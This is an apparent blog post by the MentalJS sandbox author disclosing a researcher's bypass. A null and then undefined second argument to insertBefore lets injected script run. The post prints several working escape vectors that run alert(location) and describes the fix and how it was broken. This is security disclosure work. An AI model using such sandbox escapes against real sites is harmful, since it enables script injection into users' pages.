MentalJS DOM bypass
Friday, 6 March 2015
Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-
_=document
x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = '*/alert(location)//'
t=_.createElement('b')
t.textContent = '/*'
x.insertBefore(t.firstChild, null);
x.insertBefore(s, null)
_.body.appendChild(x)
x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = _.getElementsByTagName('script')[2].textContent
x.insertBefore(s.firstChild, null)
_.body.appendChild(x)
It can actually be compressed to the following:
s=document.createElement('script');
s.insertBefore(document.createTextNode('alert(location)'),null);
document.body.appendChild(s);
The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass.
Update…
@tr3w_ broke my fix 🙂 he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.
with(document) {
s = createElement('script');
s.insertBefore(createTextNode('alert(location)'), [][[]]);
body.appendChild(s);
}
with(document) {
s = createElement('script');
s.insertBefore(createTextNode('/**/'),null);
s.insertBefore(createTextNode('alert(location)'),s.firstChild);
}